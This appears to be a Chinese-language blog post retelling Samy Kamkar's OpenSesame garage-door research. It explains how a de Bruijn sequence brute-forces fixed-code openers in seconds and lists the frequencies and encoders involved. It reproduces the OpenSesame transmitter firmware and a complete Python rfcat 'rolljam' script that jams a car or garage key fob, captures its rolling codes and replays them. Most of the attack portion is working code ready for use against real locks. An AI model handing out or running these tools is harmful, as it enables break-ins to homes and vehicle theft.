原文链接🔗：https://samy.pl/opensesame
成功开门放在了最后的动图
车库密码系统
大家都知道，车库开关现在基本都是以遥控为主，当我们摁下遥控器发出开启信号，车库接收器收到信号后就会打开，关闭车库是一样的过程，而这也是生产厂商采用的常见思路，但是这并不安全——信号伪造。遥控钥匙中通常会采用的固定代码系统，而这个密钥系统有一个思路简单、利用难度低的漏洞：遥控钥匙的密钥空间极其有限（毕竟钥匙就那么大）。例如，车库遥控器支持 长度为12 位二进制的DIP开关。（DIP开关常用在车库门开启器或是一些早期的无线电话中，用来设定保全码，保全码最长可以用十二个开关来设定，可用来避免和其他车库门开启器或是其他设备之间的电磁干扰。）这本质上是一个打开车库的固定密码，但由于它是二进制（0和1）且长度一共12 位，因此密钥总数量为2 ** 12，即 4096 种可能的组合。
要知道，我们每单击一次钥匙就会发送相同的密钥信号5 次，并且我们会看到每一“位”都需要 2 毫秒才能发送，其中发送整个代码后，每个位有 2ms 的等待时间。因此，每串12 位二进制组合需要（12 位 * 2ms 传输 * 2ms 等待 * 5 次 = 240ms）。要暴力破解整个 8、9、10、11 和 12 位密钥空间，即：
(((2 ** 12)*12) + ((2 ** 11)*11) + ((2 ** 10)*10) + ((2 ** 9)*9) + ((2 ** 8)*8)) = 88576 位
88576 位 * 4ms传输时间 * 5 次传输 = 1771.52 秒 = 30 分钟除此之外，我们还需要知道发射信号的频率和波特率（幸运的是大部分的车钥匙都采用一种规格的信号）。但如果我们不知道的话，就得尝试几种不同的频率和波特率，那么就需要花费30分钟好几倍的时间。
优化去重
第一个去重尝试效果非常明显，那就是消除重传，不再是每次发送信号 5 次，而是只发送一次，假设没有干扰或接收问题，这会将时间减少至原来的1/5。
1771.52 秒 / 5 = 354.304 秒 = 6 分钟接着，尝试删除发送每个完整代码之间的等待期，看看是否可以连续发送每个代码。因此，我们不会选择发送111111000000[等待12位]111111000001，而是选择直接发送111111000000111111000001。这样的话，我们直接就又干掉了一半的时间：
1771.52 秒 / 5 / 2 = 177.152 秒 = 3 分钟看上去就已经很不错了，3min 就可以破解车库门，但是可以更好。
芝麻开门
这是最关键的。当查看我们发送的数据时，我们现在正在发送连续的比特流。例如：
- （代码#1）
000000000000 - （代码#2）
000000000001 - （代码#3）
000000000010 - （代码#4）
000000000011
我们拼接起来，就是这样： 000000000000000000000001000000000010000000000011
问题是，车库的接收器如何看待这些位？如果使用移位寄存器怎么办？
参照原文：
In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.
如果是这种情况，这意味着如果我们在真实代码之前或之后添加任何数量的位，信号接收器并不会关心。
因此，整个过程就是：假设我们的车库密码是 111111000000。如果车库使用移位寄存器，并且我们发送 13 位0111111000000，车库将首先测试：011111100000（不正确）==>（砍掉第一位，然后拉入下一位）==> 111111000000（正确！）
而更美妙的是，车库不会清除尝试的密钥，因此发送一串12 位长度的密钥时，还会测试五个 8 位代码、四个 9 位代码、三个 10 位代码、两个 11 位代码，当然还有一个 12 位代码！只要我们每发送12位代码，8-11位代码就会同时被测试。
现在，必须有一种算法能够生成每种可能的代码，并尽可能少的减少位重叠。
德布鲁因序列（de Bruijn sequence）
de Bruijn sequence - Wikipedia
在组合 数学中，大小为 k 的字母表 A 上的n阶de Bruijn 序列是一个循环序列，其中 A 上每个可能的长度为 n 的字符串作为子串（即作为连续子序列）仅出现一次。这样的序列用B ( k , n )表示，长度为k ** n ，这也是 A 上长度为 n 的不同字符串的数量。这些不同的字符串中的每一个当作为B( k , n )的子字符串时，必须从不同的位置开始，因为从相同位置开始的子字符串并不会不同。因此，B ( k , n )必须至少有k ** n符号。并且由于B ( k , n )恰好 具有 k ** n 个符号，因此就包含长度为 n 的每个字符串至少一次的属性而言，De Bruijn 序列是最佳的短序列。
不同 de Bruijn 序列 B ( k , n )的数量为
在最短的时间内生成 8-12 位的所有可能的重叠序列来实现该算法，所需要的时间会有多短呢🤔？
答：测试每 8 到 12 位的可能性：((2 ** 12) + 11) * 4ms / 2 = 8214 ms = 8.214 秒！！！
频率、调制、编码器
频率
直接的假设是这些固定销车库和大门跨越很宽的频率范围。例如，维基百科建议这些无线设备跨越 300MHz - 400MHz，要求我们将相同的信号发送到 100 个额外的频率。然而，在提取我能找到的所有固定发射机的 FCC 文档后，我们发现只有少数频率被使用过，主要是 300MHz、310MHz、315MHz、318MHz 和 390MHz。
此外，大多数这些接收器都没有任何带通滤波器，允许更广泛的频率通过，在测试中通常至少覆盖额外的 2MHz。
调制
您会发现几乎所有这些发射机都使用 ASK/OOK 进行传输。此外，许多接收器通过使用相同的 OOK 信令来支持互操作性。这可以通过测试多个车库门开启器、查看多个发射器的 FCC 文件并注意各种车库门开启器支持的型号来确认。
编码器
以下是大多数此类系统使用的编码器列表：
PT2262、PT2264、SC2260、CS5211、PT2282、PT2240、eV1527、RT1527、FP527、HS527、SCL1527、MC145026、AX5326、VD5026、SMC926、SMC918、PLC168、HCS300、HCS30 1、HCS201
项目成品：
项目地址：https://github.com/samyk/opensesame
主要代码：
#include "types.h"
#ifndef LOCAL
#include <cc1110.h>
#endif
#include <math.h>
#include "ioCCxx10_bitdef.h"
#include "display.h"
#include "keys.h"
#include "garages.h"
#include "rf.h"
#include "fbuffer.h"
#include "zsprites.h"
#include "pm.h"
#define title printl(0, " OpenSesame 1.0")
#define HIBYTE(a) (u8) ((u16)(a) >> 8 )
#define LOBYTE(a) (u8) (u16)(a)
#define SET_WORD(regH, regL, word) \
do { \
(regH) = HIBYTE( word ); \
(regL) = LOBYTE( word ); \
} while (0)
/* note sdcc wants reverse bit order from datasheet */
typedef struct {
u8 SRCADDRH;
u8 SRCADDRL;
u8 DESTADDRH;
u8 DESTADDRL;
u8 LENH : 5;
u8 VLEN : 3;
u8 LENL : 8;
u8 TRIG : 5;
u8 TMODE : 2;
u8 WORDSIZE : 1;
u8 PRIORITY : 2;
u8 M8 : 1;
u8 IRQMASK : 1;
u8 DESTINC : 2;
u8 SRCINC : 2;
} DMA_DESC;
__xdata static volatile u8 txdone = 1;
__xdata static volatile u8 ni = 0;
__xdata DMA_DESC dmaConfig;
__xdata u8 realbuf[MAXLEN+1];
__bit sleepy = 0;
__bit txFast = 0;
extern u8 _garage_id = 0;
void setup_dma_tx()
{
// forum guy used high priority and repeated single mode (TMODE = 2)
dmaConfig.PRIORITY = 2; // high priority
dmaConfig.M8 = 0; // not applicable
dmaConfig.IRQMASK = 0; // disable interrupts
dmaConfig.TRIG = 19; // radio
dmaConfig.TMODE = 2; // repeated single mode
dmaConfig.WORDSIZE = 0; // one byte words;
dmaConfig.VLEN = 0; // use LEN
SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN);
SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf);
SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD);
dmaConfig.SRCINC = 1; // increment by one
dmaConfig.DESTINC = 0; // do not increment
SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig);
return;
}
void setup()
{
#ifdef SIMULATOR
UART_Init();
#else
xtalClock();
setIOPorts();
configureSPI();
LCDReset();
/* IF setting */
FSCTRL1 = 0x06;
FSCTRL0 = 0x00;
/* DC blocking enabled, OOK/ASK */
MDMCFG2 = 0x30; // no preamble/sync
/* no FEC, 4 byte preamble, default channel spacing */
MDMCFG1 = 0x22;
MDMCFG0 = 0xF8;
FREND1 = 0x56; // Front end RX configuration.
FREND0 = 0x11; // Front end RX configuration.
/* automatic frequency calibration */
MCSM0 = 0x14;
//MCSM2 ?
MCSM1 = 0x30; // TXOFF_MODE = IDLE
FSCAL3 = 0xE9; // Frequency synthesizer calibration.
FSCAL2 = 0x2A; // Frequency synthesizer calibration.
FSCAL1 = 0x00; // Frequency synthesizer calibration.
FSCAL0 = 0x1F; // Frequency synthesizer calibration.
TEST2 = 0x88; // Various test settings.
TEST1 = 0x31; // Various test settings.
TEST0 = 0x0B; // low VCO (we're in the lower 400 band)
/* no preamble quality check, no address check */
PKTCTRL1 = 0x04;
/* no whitening, no CRC, fixed packet length */
PKTCTRL0 = 0x00;
/* device address */
ADDR = 0x11;
/* packet length in bytes */
PKTLEN = MAXLEN;
setup_dma_tx();
clear();
#endif
}
int main(void)
{
u8 key;
setup();
while (1)
{
title;
// "123456789 123456789 1"
// TODO: make this stuff actually selectable
printl(2, "Frequency");
printrlc(2, 21-5, "Auto");
printl(3, "Baud rate");
printrlc(3, 21-5, "Auto");
printl(4, "Bits");
printrlc(4, 21-5, "Auto");
// TODO: make this not a loop and use interrupts instead to catch keys
// while (getkey() != ' ');
while (1)
{
key = getkey();
// tx!
if (key == ' ') break;
else if (key == KPWR)
{
sleepy = 1;
chkSleep();
}
}
// start de bruijn sending
for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++)
{
_garage_id = key;
db_send();
}
LED_GREEN = HIGH;
LED_RED = HIGH;
clear();
// "123456789 123456789 1"
printrl(6, "TRANSMISSION COMPLETE");
} // while
} // main
/* knock knock
* - who's there
* irq rf_vector
* - irq rf---
* INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting)
*/
void rf_isr_orig() __interrupt (RF_VECTOR)
{
// clear the interrupt flags
RFIF &= ~RFIF_IRQ_DONE;
S1CON &= ~0x03; // Clear the general RFIF interrupt registers
txdone = 1;
// go idle again
RFST = RFST_SIDLE;
LED_RED = HIGH; // turn red led off
}
// transmit that badboy
void rftx()
{
// wait for previous transmission to finish (if any)
waitForTx();
txdone = 0;
LED_GREEN = HIGH; // turn green led off
LED_RED = LOW; // turn red led on
// ...
}
// show nyancat while transmitting
void waitForTx()
{
while (!txdone)
{
if (!txFast)
{
// this slows down the tx quite a bit
title;
fb_blank();
fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0);
fb_flush();
//printl(0, " OpenSesame ");
title;
printl(1, " Transmitting ");
if (ni >= NYANS)
ni = 0;
}
}
}
// from Michael Ossmann's epic IM-ME spectrum analyzer:
void chkSleep()
{
u8 i;
/* go to sleep (more or less a shutdown) if power button pressed */
if (sleepy)
{
clear();
sleepMillis(1000);
SSN = LOW;
LCDPowerSave();
SSN = HIGH;
while (1)
{
sleep();
/* power button depressed long enough to wake? */
sleepy = 0;
for (i = 0; i < DEBOUNCE_COUNT; i++)
{
sleepMillis(DEBOUNCE_PERIOD);
if (keyscan() != KPWR) sleepy = 1;
}
if (!sleepy) break;
}
/* reset on wake */
main();
//setup();
//goto reset;
}
}Bypass rolling code security
滚动码技术是目前大部分汽车所采用的防护方法：
滚动码技术确实已经比较完善了，安全性上也要比原先的密码系统提高了好几个档次，但还是有不小的问题：
- 车钥匙里存有当前的滚动码。当按下车钥匙按钮时，滚动码加上功能码（比如开门，关门等）一起发送给汽车。
- 汽车也存有当前的滚动码。当汽车收到同样的滚动码时，它就执行相应的操作。如果收到的数据不匹配，就不执行任何动作。
- 车钥匙和汽车里的滚动码是始终保持同步的。
- 如果在车钥匙距离车很远时误触了几次车钥匙按钮，或者钥匙发出的信号被故意拦截未被车辆接收，那么车钥匙中的滚动码就会前进好几步，此时跟车内的码就不同步了。这种情况下，汽车允许接收当前码之后指定数量的码，只要车钥匙发送的码在这个窗口之内，汽车都认为是有效的，成功接收后，计数器会再次重新同步。
- 如果车钥匙被误按超过设定次数，车钥匙和车就会彻底失去同步，这时候就只能想办法恢复同步了。
同理，如果攻击者能够捕捉到车库附近意外按下按钮的信号，那么就有可能通过重放该信号来解锁车库。但是在实际情况下，要从随机的人那里获取这些信号是相当不现实的。
无线电设备在常见频率波段上发送噪声，拦截信号Unlock1使其不能被接收，与此同时保存截获到钥匙发出的Unlock1信号。
当首个钥匙信号遭到拦截，且未能解锁时，车主极大概率会再次尝试。在第二次按下钥匙按钮时，无线电设备会再次拦截信号Unlock2，不过也会在同时传送第一次的信号Unlock1，这次就会被解锁了，通常用户会忽视之前的解锁失败，但是我们却获取了第二个有效的信号。方便的话就安装在汽车上或藏在车库附近，它就可以重复拦截信号，不管车主进行了多少次解锁，它都始终传送上一个信号，然后储存下一个信号，这样的话不管何时取回这一装置，他都会得到一个未使用且有效的滚动码信号。
# 以下命令已由匿名用户测试，用于在远程电源插座上执行攻击
# 自动捕获并重放第一个代码：python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io
# 捕获并等待按钮重放第一个代码：python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k
# 加载先前的捕获并重放：python rolljam.py -I capture.io
import sys
from rflib import *
from struct import *
import bitstring
import operator
import argparse
import time
import pickle
parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam. Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0")
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int)
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int)
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int)
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int)
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int)
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in')
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to')
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)')
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int)
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int)
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int)
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)')
results = parser.parse_args()
rawCapture = [];
print "Configuring Scanner on Frequency: " + str(results.baseFreq)
d = RfCat(idx=0)
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(results.baseFreq)
d.setMdmSyncMode(0)
d.setMdmDRate(results.baudRate)
d.setMdmChanBW(results.chanBW)
d.setMdmChanSpc(results.chanWidth)
d.setChannel(0)
d.setPower(results.power)
d.lowball(1)
print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset))
c = RfCat(idx=1)
c.setMdmModulation(MOD_ASK_OOK) #on of key
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency
c.setMdmDRate(results.baudRate)# how long each bit is transmited for
c.setMdmChanBW(results.chanBW)# how wide channel is
c.setMdmChanSpc(results.chanWidth)
c.setChannel(0)
c.setMaxPower() # max power
c.lowball(1) # need inorder to read data
time.sleep(1) #warm up
if(results.inFile != ''):
rawCapture = pickle.load(open(results.inFile,"rb"))
if(len(rawCapture) == 0):
print "No captures found"
sys.exit()
else:
print "Loaded " + str(len(rawCapture)) + " captures"
print "Send Phase..."
c.setModeIDLE()
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)
while True:
try:
for i in range(0,len(rawCapture)):
key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
d.makePktFLEN(len(key_packed))
raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
d.RFxmit(key_packed)
print "Sent " + str(i+1) + " of " + str(len(rawCapture))
except KeyboardInterrupt:
print "Bye!"
d.setModeIDLE()
sys.exit()
break;
print "exiting."
d.setModeIDLE()
sys.exit()
print "Jamming...."
c.setModeTX() # start transmitting
print "Scanning..."
while True:
try:
y, t = d.RFrecv(1)
sampleString=y.encode('hex')
#print sampleString
strength= 0 - ord(str(d.getRSSI()))
#sampleString = re.sub(r'((f)\2{8,})', '',sampleString)
if (re.search(r'((0)\2{15,})', sampleString)):
print "Signal Strength:" + str(strength)
if(strength > results.minRSSI and strength < results.maxRSSI):
rawCapture.append(sampleString)
print "Found " + str(sampleString)
if(len(rawCapture) >= results.numSignals):
break;
except ChipconUsbTimeoutException:
pass
except KeyboardInterrupt:
break
print "Saving phase"
outputCapture = rawCapture
if(results.outFile != ''):
pickle.dump(outputCapture, open(results.outFile,"wb"))
print "Send Phase..."
#print rawCapture
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)
print 'Done jamming'
if(results.waitForKeypress == True):
time.sleep(.5) # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote
# and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button
# don't want to accidentally hop to next code
c.setModeIDLE() # put dongle in idle mode to stop jamming
if(results.waitForKeypress == True):
raw_input(" Press enter to send first capture")
print 'Replaying'
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes()
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture 1"
while True:
try:
for i in range(1,len(rawCapture)):
key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture " + str(i+1) + " of " + str(len(rawCapture))
except KeyboardInterrupt:
print "Bye!"
d.setModeIDLE()
c.setModeIDLE() # put dongle in idle mode to stop jamming
sys.exit()
break;
print "exiting."
d.setModeIDLE()
c.setModeIDLE()展示
